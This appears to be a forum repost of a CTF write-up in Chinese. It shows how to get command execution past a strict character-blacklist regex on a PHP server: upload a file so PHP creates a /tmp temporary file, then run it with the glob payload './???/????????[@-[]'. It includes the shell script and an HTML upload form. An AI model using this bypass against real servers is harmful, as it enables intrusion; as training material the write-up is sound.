ToB企服应用市场:ToB评测及商务社交产业平台
标题:
rce临时文件上传[RCE1]P8
[打印本页]
作者:
小秦哥
时间:
2024-5-13 19:20
标题:
rce临时文件上传[RCE1]P8
rce临时文件上传[RCE1]P8
/[A-Za-z0-9!~^|&]+/i
匹配了我能想到的所有绕过方法,想到临时文件上传,是否可以执行
/tmp/?????????
这个文件呢
/tmp/????????? 此文件是php的一个默认临时文件,文件名是随机的,如果php.ini没有设置upload_tmp_dir的时间,默认会读写体系的临时文件目录,(Windows 默以为 C:/windows/temp,Linux 为 /tmp)。
但是是当向服务器上恣意php文件以
multipart/form-data
方式提交请求上传数据时,才会产生临时文件,可以通过phpinfo.php的信息泄露获得临时文件的路径,便可以让我们构造payload。
php post上传:创建临时文件 > 调用相关php脚本 > 在phpinfo中回显文件信息 > 删除临时文件
在linux体系中./可运行可执行文件,在文件中执行一个运行shell脚本的表明器,表明器有很多,比方:
#!/bin/sh
#!/bin/bash
#!/usr/bin/perl
#!/usr/bin/tcl
#!/bin/sed -f
#!/usr/awk -f
./shell的时候相当于/bin/bash shell
还有很多有意思的用法
https://zhuanlan.zhihu.com/p/666028747
复制代码
临时文件内容:
#!/bin/sh
id
复制代码
执行临时文件命令
./tmp/????????? 构造payload >> ./???/????????? >> ./???/????????[@-[]
由于/???/?????????无法精准匹配,但是这个临时文件的特点是大小写字母混合随机生成的,以是通过找到一个表示“大写字母”的glob通配符,来实现精准匹配。
glob的通配符我们常用的有(* ? ** []) 在[1-9]中golb支持里面表示一个范围,可以使用ascii找到大写字母范围的一个字符,大写字母的范围位于"@"和[之间,而且不分字符前后顺序。
构建数据包:
需要构造一个post上传文件的数据包,从网上随便找一段html的文件上传代码,然后抓包拦截,把目的ip修改一下就好了。
我这里代码是 multipart/form-data 的方式提交请求上传数据的,别的我没有试过不知道有没有题目,注意在multipart/form-data方式中,作为分割使用的boundary字符串比定义处前面多倆--
附上html代码:
<html>
<head></head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /><br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4